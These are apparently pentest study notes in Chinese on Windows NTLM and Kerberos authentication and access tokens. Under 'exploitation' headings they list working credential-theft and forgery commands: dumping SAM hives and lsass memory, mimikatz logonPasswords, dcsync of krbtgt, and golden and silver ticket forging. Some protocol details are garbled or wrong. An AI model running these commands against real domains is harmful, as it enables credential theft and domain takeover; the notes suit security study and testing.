NTLM认证

本地认证

当用户注销、重启、锁屏后,操作系统会让winlogon显示登录界面,也就是输入框。当winlogon.exe接收输入后,将密码交给LSASS进程,这个进程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库比较认证。(winlogon.exe即Windows Logon Process,是Windows NT用户登陆程序,用于管理用户登录和退出)
明文密码->hex加密->unicode->md4加密->密文密码

网络认证

协商,挑战,认证
输入密码,然后LSASS会把密码的NTLM Hash后的值先存储到本地

  • 客户端把用户名的明文发送给服务端
  • 服务端会生成一个16位的随机数,即challenge,再传回给客户端
  • 当客户端收到challenge后,用在第一步中存储的NTLM Hash对其加密,然后再将加密后的challenge发送给服务器,也就是response
  • 服务端在收到response后,会向DC发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名、客户端NTLM Hash加密的Challenge、原始的Challenge
  • DC接到过来的这三个值的以后,会根据用户名到DC的账号数据库比对

NTML-V2采用MAC-MD5加密方式,challenge由8位变成16位

利用姿势

哈希传递pth

  • mimikatz
  • wmiexec/psexec
  • exploit/windows/smb/psexec_psh
  • powershell invoke

SAM文件破解

  • reg save hklm\sam C:\sam.hive
  • reg save hklm\system C:\system.hive

读取lsass内存

  • procdump64.exe -accepteula -ma lsass.exe 存放路径\文件名
  • mimikatz # sekurlsa::minidump 文件名
  • mimikatz # sekurlsa::logonPasswords full

    keberos认证

    KDC: Key Distribution Center,密钥分发中心,负责管理票据、认证票据、分**据,但是KDC不是一个独立的服务,它由AS和TGS组成。
    AS: Authentication Service,验证服务,为client生成TGT的服务
    TGS: Ticket Granting Service,票据授予服务,为client生成某个服务的ticket
    TGT: Ticket Granting Ticket,入场券,通过入场券能够获得票据,是一种临时凭证的存在。
    Ticket:票据,是网络中各对象之间互相访问的凭证
    AD: Account Database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT。
    DC: Domain Controller,域控
    KRBTGT: 每个域控制器都有一个krbtgt账户,是KDC的服务账户,用来创建TGS加密的密钥。

域认证

Kerberos是一种基于票据的认证方式,票据(Ticket)是用来安全的在认证服务器和用户请求的服务之间传递用户的身份,同时也会传递一些附加信息,用来保证使用Ticket的用户必须是Ticket中指定的用户,Ticket一旦生成,在生存时间内可以被Client多次使用来申请同一个Server的服务
Windows认证 - 图1

  1. client向kerberos服务请求,希望获取访问server的权限。 kerberos得到了这个消息,首先得判断client是否是可信赖的, 也就是白名单黑名单的说法。这就是AS服务完成的工作,通过 在AD中存储黑名单和白名单来区分client。成功后,返回AS返 回TGT给client。
  2. client得到了TGT后,继续向kerberos请求,希望获取访问 server的权限。kerberos又得到了这个消息,这时候通过client 消息中的TGT,判断出了client拥有了这个权限,给了client访 问server的权限ticket。
  3. client得到ticket后,终于可以成功访问server。这个ticket只是 针对这个server,其他server需要向TGS申请

    利用姿势

    MS14-068
  • TGT插入任意PAC窃取管理员权限

黄金票据

  • privilege::debug 获取krbtgt的hash
  • lsadump::dcsync /domain:xiyou.dayu.com /user:krbtgt 或者 wmic useraccount get name,sid 查看krbtgt用户的SID值
  • klist 清理票据
  • mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4: /user:<任意用户名> /ptt” exit 伪造票据
  • klistpurge 清理缓存
  • kerberos::purge kerberos::pttticket.kirbi 导入票据
  • dir\计算机名.域名\c$ 验证是否成功

白银票据

  • lsadump::dcsync /domain:xiyou.dayu.com /user:krbtgt 收集所有用户的SID值
  • mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit“>log.txt 导出当前用户的hash值
  • kerberos::purge 清理票据
  • mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt” exit 伪造票据
  • HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters 中的ValidateKdcPacSignature设置为1 开启PAC功能(这会增加DC的负担并且降低认证成功效率)

    Access Token

    主令牌 /访问令牌
    一般情况下,用户双击运行一个程序,都会拷贝“explorer.exe”的Access Token,当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除